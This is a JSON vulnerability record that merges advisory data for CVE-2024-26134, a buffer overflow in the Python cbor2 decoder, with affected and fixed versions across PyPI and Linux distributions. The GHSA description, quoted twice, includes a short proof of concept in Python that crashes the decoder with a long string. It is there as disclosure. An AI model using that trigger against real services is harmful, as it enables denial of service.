{"id":"CVE-2024-26134","aliases":["DEBIAN-CVE-2024-26134","EUVD-2024-0204","GHSA-375g-39jq-vq7m","PYSEC-2024-155","SUSE-SU-2025:21168-1","UBUNTU-CVE-2024-26134","openSUSE-SU-2025:14733-1","openSUSE-SU-2025:20133-1"],"status":"published","title":"CBOR2 decoder has potential buffer overflow","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01167,"percentile":0.6775,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-120"],"published":"2024-02-19T22:13:47Z","modified":"2026-11-02T12:01:04Z","fixes":[{"ecosystem":"PyPI","package":"cbor2","fixed_in":["5.6.2"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"cbor2","fixed_in":["5.6.2-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"cbor2","fixed_in":["5.6.2-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-cbor2","fixed_in":["5.6.5-2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.5.1"},{"fixed":"5.6.2"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.6.2-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.6.2-1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.5.1"},{"fixed":"5.6.2"}]}],"versions":["5.5.1","5.6.0","5.6.1"]},{"source":"osv","ecosystem":"PyPI","package":"cbor2","ranges":[{"type":"GIT","events":[{"introduced":"0"},{"fixed":"387755eacf0be35591a478d3c67fe10618a6d542"},{"fixed":"4de6991ba29bf2290d7b9d83525eda7d021873df"}]},{"type":"ECOSYSTEM","events":[{"introduced":"5.5.1"},{"fixed":"5.6.2"}]}],"versions":["5.5.1","5.6.0","5.6.1","5.5.0","5.4.6","5.4.5","5.4.4","5.4.3","5.4.2.post1","5.2.0","5.4.2","5.4.1","5.4.0","5.3.0","5.1.2","5.1.1","5.1.0","5.0.1","5.0.0","4.2.0","4.1.2","4.1.1","4.1.0","4.0.1","4.0.0","3.0.4","3.0.3","3.0.2","3.0.1","3.0.0","2.0.0","1.1.0","1.0.0"]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.6.5-160000.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.6.5-160000.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.0-4","5.2.0-4build1","5.4.2-1","5.4.2-1build1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.4.6-2","5.4.6-2build1","5.5.1-1","5.6.0-1","5.6.1-1","5.6.2-1","5.6.2-1build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.6.5-1build1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.8.0-2ubuntu1","6.1.2-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.6.5-1build1","5.7.0-1","5.7.1-1","5.8.0-1","5.8.0-2ubuntu1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.6.5-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-cbor2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.6.5-160000.3.1"}]}],"bundled":2}],"products":[{"vendor":"agronholm","product":"cbor2"},{"vendor":"fedoraproject","product":"fedora"}],"references":[{"url":"https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/agronholm/cbor2/pull/204","tags":["x_refsource_MISC","x_transferred","Issue Tracking","fix","web","report"]},{"url":"https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542","tags":["x_refsource_MISC","x_transferred","Product","fix","web","report"]},{"url":"https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/agronholm/cbor2/releases/tag/5.6.2","tags":["x_refsource_MISC","x_transferred","Release Notes","web","report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/","tags":["x_transferred","Mailing List","web","article"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/","tags":["x_transferred","Mailing List","web","article"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/","tags":["x_transferred","Mailing List","web","article"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-26134","tags":["advisory"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-375g-39jq-vq7m","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/26xxx/CVE-2024-26134.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-26134","tags":["advisory"]},{"url":"https://github.com/agronholm/cbor2","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202521168-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1220096","tags":["report"]},{"url":"https://bugzilla.suse.com/1253746","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2024-26134","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64076","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2024-26134","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-26134","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/3J6INDULK4UFE4EESVOPROBMFBKXOAXS/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2024-26134","title":"CBOR2 decoder has potential buffer overflow","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T22:13:47.173Z","modified":"2025-02-13T17:41:03.627Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T14:33:59.884489Z"}],"euvd":[{"id":"EUVD-2024-0204","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T22:13:47Z","modified":"2025-02-13T17:41:03Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T00:03:46.532099Z"}],"ghsa":[{"id":"GHSA-375g-39jq-vq7m","title":"Potential buffer overflow in CBOR2 decoder","description":"### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n    future = executor.submit(test)\n    print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n  File \"test.py\", line 14, in \u003cmodule\u003e\n    print(future.result())\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n    return self.__get_result()\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n    raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n  File \"test.py\", line 12, in \u003cmodule\u003e\n    print(test())\n  File \"test.py\", line 9, in test\n    return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.","status":"published","published":"2024-02-21T00:09:03Z","modified":"2026-03-16T05:03:47Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T14:39:36.642723Z"}],"nvd":[{"id":"CVE-2024-26134","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T23:15:07.81Z","modified":"2026-06-17T07:17:10.31Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T14:09:37.655131Z"}],"osv":[{"id":"CVE-2024-26134","title":"CBOR2 decoder has potential buffer overflow","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T22:13:47.173Z","modified":"2026-10-28T10:40:33.790041996Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T15:44:39.244433Z"},{"id":"DEBIAN-CVE-2024-26134","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T23:15:07.81Z","modified":"2026-11-02T12:01:04.506781634Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:41.849198Z"},{"id":"GHSA-375g-39jq-vq7m","title":"Potential buffer overflow in CBOR2 decoder","description":"### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n    future = executor.submit(test)\n    print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n  File \"test.py\", line 14, in \u003cmodule\u003e\n    print(future.result())\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n    return self.__get_result()\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n    raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n  File \"test.py\", line 12, in \u003cmodule\u003e\n    print(test())\n  File \"test.py\", line 9, in test\n    return cbor2.loads(cbor_enc)\nSystemError: \u003cbuilt-in function loads\u003e returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.","status":"published","published":"2024-02-21T00:09:03Z","modified":"2026-06-10T17:14:17.011929402Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"PYSEC-2024-155","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T23:15:07Z","modified":"2026-06-10T17:14:17.453532103Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:53.837392Z"},{"id":"UBUNTU-CVE-2024-26134","description":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","status":"published","published":"2024-02-19T23:15:00Z","modified":"2026-10-17T12:56:43.720218637Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:44.862765Z"},{"id":"openSUSE-SU-2025:14733-1","title":"python311-cbor2-5.6.5-2.1 on GA media","description":"These are all security issues fixed in the python311-cbor2-5.6.5-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-02-05T00:00:00Z","modified":"2026-02-04T03:10:02.472912Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"openSUSE-SU-2025:20133-1","title":"Security update for python-cbor2","description":"This update for python-cbor2 fixes the following issues:\n\n- CVE-2025-64076: Fixed bug in decode_definite_long_string() that causes incorrect chunk length calculation (bsc#1253746).\n\n\nAlready fixed in release 5.6.3:\n\n- CVE-2024-26134: Fixed potential crash when hashing a CBORTag (bsc#1220096).\n","status":"published","published":"2025-12-02T13:51:41Z","modified":"2026-03-23T04:54:18.329611Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"SUSE-SU-2025:21168-1","title":"Security update for python-cbor2","description":"This update for python-cbor2 fixes the following issues:\n\n- CVE-2025-64076: Fixed bug in decode_definite_long_string() that causes incorrect chunk length calculation (bsc#1253746).\n\n\nAlready fixed in release 5.6.3:\n\n- CVE-2024-26134: Fixed potential crash when hashing a CBORTag (bsc#1220096).\n","status":"published","published":"2025-12-02T13:51:54Z","modified":"2026-03-23T04:51:14.793107Z","updated_at":"2026-11-02T15:54:00.344164Z"}]}}